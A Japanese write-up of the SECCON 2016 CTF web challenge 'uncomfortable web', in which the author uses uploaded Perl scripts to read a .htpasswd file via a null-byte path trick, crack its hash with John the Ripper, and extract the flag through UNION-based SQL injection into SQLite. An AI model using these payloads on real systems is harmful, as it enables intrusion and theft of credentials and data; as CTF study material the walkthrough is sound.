Help us understand the problem. What is going on with this article?

SECCON 2016 Online CTF Writeup - uncomfortable web

uncomfortable web(Web, 300pts)

Attack to http://127.0.0.1:81/authed/ through the uploaded script
Get the flag in the database!

自作のスクリプトファイルをアップロードすると、リモートサーバ上で実行できます。
リモートサーバ内にある http://127.0.0.1:81/へアタックし、flagを探す問題です。
Shell, Perl, Python が選択でき、今回は Perl を使用しました。

uncomfortableweb.png

サンプルスクリプト

http://127.0.0.1:81/ にリクエストを送信するサンプルが配布されていました。
そのままアップロードして実行してみます。

sample
#!/usr/bin/perl
use LWP::UserAgent;
my $ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(GET => 'http://127.0.0.1:81/');
my $res = $ua->request($req);
print $res->content;
sample-result
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
 <head>
  <title>Index of /</title>
 </head>
 <body>
<h1>Index of /</h1>
<table><tr><th><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr><tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="authed/">authed/</a></td><td align="right">28-Nov-2016 10:51  </td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="select.cgi">select.cgi</a></td><td align="right">28-Nov-2016 10:08  </td><td align="right">612 </td><td>&nbsp;</td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache Server at 127.0.0.1 Port 81</address>
</body></html>

出力されたHTMLをブラウザに読み込ませるとこうなります。

01.png

/authed にアクセス

はじめに、authed ディレクトリにアクセスを試みました。

01
#!/usr/bin/perl
use LWP::UserAgent;
use DBI;
my $ua = LWP::UserAgent->new;

my $url = 'http://127.0.0.1:81/authed/';
my $req = HTTP::Request->new(GET => $url);
my $res = $ua->request($req);
print $res->content;

01.png

401で弾かれてしまいます。BASIC認証を通す必要がありそうです。

select.cgi にアクセス

ファイル select.cgi にアクセスすると、a, b のドロップダウンが出てきました。

02
# 変更部分以外のソースは省略します。
$url = 'http://127.0.0.1:81/select.cgi';
02-result
<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
</body></html>

02.png

select.cgi?txt=a にアクセス

a を選択した際のURLにアクセスすると、テキストファイルのようなものが表示されました。

03
$url = 'http://127.0.0.1:81/select.cgi?txt=a';

03.png

select.cgi?txt=b にアクセス

b を選択した際のURLにアクセスすると、同じくテキストファイルのようなものが表示されました。

04
$url = 'http://127.0.0.1:81/select.cgi?txt=b';
04-result
<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
<hr>
authed/b.txt<br>
authed/b.txt<br>
authed/b.txt<br>
authed/b.txt<br>
authed/b.txt<br>
authed/b.txt<br>
</body></html>

select.cgi?txt=c にアクセス

a b と来ると、自然と c も試したくなるのでアクセスしてみます。
こちらも同じく、何やらテキストが表示されました。

05
$url = 'http://127.0.0.1:81/select.cgi?txt=c';
05-result
<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
<hr>
---<br>
Do you want to enter authed/ directory?<br>
---<br>
</body></html>

select.cgi の動作について

select.cgi のこれまでの動作をまとめてみます。

パラメータ 表示されたテキスト
txt=a authed/a.txt
txt=b authed/b.txt
txt=c authed/c.txt (?)

パラメータ txt=XXXXX を渡すことで、authed/XXXXX.txt を開けることが推測できます。

authedディレクトリのBASIC認証情報を取得

BASIC認証に使用される .htpasswd と呼ばれるファイルを探してみます。
URLを次のように指定することで authed/.htpasswd を読み込むことができました。

06
$url = 'http://127.0.0.1:81/select.cgi?txt=.htpasswd%00';
06-result
<html>
<body>
<form action="?" method="get">
<select name="txt">
<option value="a">a</option>
<option value="b">b</option>
</select>
<input type="submit" vaue="GO">
</form>
<hr>
keigo:LdnoMJCeVy.SE<br>
</body></html>

末尾を %00 とすることで、終端文字 \0 と認識させています。
終端文字を利用すると、末尾に付加される .txt を無視させることが可能です。

パラメータ 開くファイル名
txt=a authed/a.txt
txt=.htpasswd authed/.htpasswd.txt
txt=.htpasswd%00 authed/.htpasswd

.htpasswd を解析

取得できた keigo:LdnoMJCeVy.SE を解析します。
John the Ripper を使用すると、ユーザ名 keigo 、パスワード test であることが判明しました。

> john.exe htpasswd
Loaded 1 password hash (Traditional DES [128/128 BS SSE2])
test             (keigo)
guesses: 1  time: 0:00:00:00 100% (2)  c/s: 230500  trying: orange - horses
Use the "--show" option to display all of the cracked passwords reliably

authed ディレクトリにアクセス

BASIC認証の情報を入手できたため、再度 authed ディレクトリにアクセスを試みます。

07
(前略)
$url = "http://127.0.0.1:81/authed/";
$req = HTTP::Request->new(GET => $url);
$req->authorization_basic('keigo', 'test');
(後略)

06.png

直下に sqlinj ディレクトリがあるようです。

auhted/sqlinj ディレクトリにアクセス

authed/sqlinj ディレクトリにアクセスしてみます。

08
# 変更部分以外のソースは省略します。
$url = "http://127.0.0.1:81/authed/sqlinj/";

08.png

1.cgi100.cgi まで同一サイズのファイルが格納されていました。なぜ100個も……。

authed/sqlinj/1.cgi にアクセス

authed/sqlinj/1.cgi にアクセスすると、?no=4822267938 へのリンクが現れました。

09
$url = "http://127.0.0.1:81/authed/sqlinj/1.cgi";
09-result
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
</body></html>

09.PNG

authed/sqlinj/1.cgi?no=4822267938 にアクセス

先ほどの no パラメータを付加してアクセスすると、ISBNコード等が表示されました。

10
$url = "http://127.0.0.1:81/authed/sqlinj/1.cgi?no=4822267938";
10-result
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: 4822267938<br>
ISBN-13: 978-4822267933<br>
PUBLISH: 2016/2/19<p>
</body></html>

10.png

ISBNコード=書籍 ですので、Amazonで検索してみます。……どうやら宣伝(?)のようです。
http://amazon.jp/dp/4822267938 → 絶対わかるセスペ27秋 2016年春版

SQLインジェクションを試みる

Get the flag in the database!

出題文を振り返ると、flagはデータベース内にあるようです。
先ほどのISBN情報がDBで管理されていると仮定し、SQLインジェクションを試しました。

11
$url = "http://127.0.0.1:81/authed/sqlinj/1.cgi?no=123' OR 1=1 --";
11-result
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
</body></html>

失敗のようです。パラメータを指定しなかった場合と同一のHTMLが返ってきました。

100個のCGIに対して攻撃を試みる

同ディレクトリ内に存在する100個のCGIに対して、同じリクエストを投げてみました。

12
for ($i = 1; $i <= 100; $i++){
    print "--- $i ---\n";
    $url = "http://127.0.0.1:81/authed/sqlinj/$i.cgi?no=123' OR 1=1 --";
    $req = HTTP::Request->new(GET => $url);
    $req->authorization_basic('keigo', 'test');
    $res = $ua->request($req);
    print $res->content . "\n\n";
}
12-result(抜粋)
--- 72 ---
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: 4822267865<br>
ISBN-13: 978-4822267865<br>
PUBLISH: 2015/2/20<p>
ISBN-10: 4822267911<br>
ISBN-13: 978-4822267919<br>
PUBLISH: 2015/8/27<p>
ISBN-10: 4822267938<br>
ISBN-13: 978-4822267933<br>
PUBLISH: 2016/2/19<p>
ISBN-10: 4822237842<br>
ISBN-13: 978-4822237844<br>
PUBLISH: 2016/8/25<p>
</body></html>

http://127.0.0.1:81/authed/sqlinj/72.cgi のみ、テーブル内の全レコードを返してきました。

私のSQLインジェクション力が不足していたため、以後の手順は、他の方の解法を参考にしつつ解き進めた内容となっています。

72.cgi を利用してDB内を探索

SQLiteと仮定した場合、sqlite_master からDB内のテーブル一覧を入手することが可能です。

出力されるカラムが3つ (ISBN-10, ISBN-13, PUBLISH) のため、カラム数を揃えた上で UNION を使用して sqlite_master を参照します。

13
$url = "http://127.0.0.1:81/authed/sqlinj/72.cgi?no=123' UNION SELECT name, sql, 0 FROM sqlite_master --";
13-result
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: books<br>
ISBN-13: CREATE TABLE books (isbn10,isbn13,date)<br>
PUBLISH: 0<p>
ISBN-10: f1ags<br>
ISBN-13: CREATE TABLE f1ags (f1ag)<br>
PUBLISH: 0<p>
</body></html>

books テーブルと f1ags テーブルが存在していることが判明しました。

flagを取得

先ほど判明した f1ags テーブルの f1ag カラムを取得します。
カラム数を揃えることを忘れずに。

14
$url = "http://127.0.0.1:81/authed/sqlinj/72.cgi?no=123' UNION SELECT f1ag, 0, 0 FROM f1ags --";
14-result
<html>
<head>
  <title>SECCON 2016 Online</title>
  <!-- by KeigoYAMAZAKI, 2016.11.08- -->
</head>
<body>
<a href="?no=4822267938">link</a>
<hr>
ISBN-10: SECCON{I want to eventually make a CGC web edition... someday...}<br>
ISBN-13: 0<br>
PUBLISH: 0<p>
</body></html>
flag
SECCON{I want to eventually make a CGC web edition... someday...}

以上です。

Why do not you register as a user and use Qiita more conveniently?
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away
Comments
Sign up for free and join this conversation.
If you already have a Qiita account
Why do not you register as a user and use Qiita more conveniently?
You need to log in to use this function. Qiita can be used more conveniently after logging in.
You seem to be reading articles frequently this month. Qiita can be used more conveniently after logging in.
  1. We will deliver articles that match you
    By following users and tags, you can catch up information on technical fields that you are interested in as a whole
  2. you can read useful information later efficiently
    By "stocking" the articles you like, you can search right away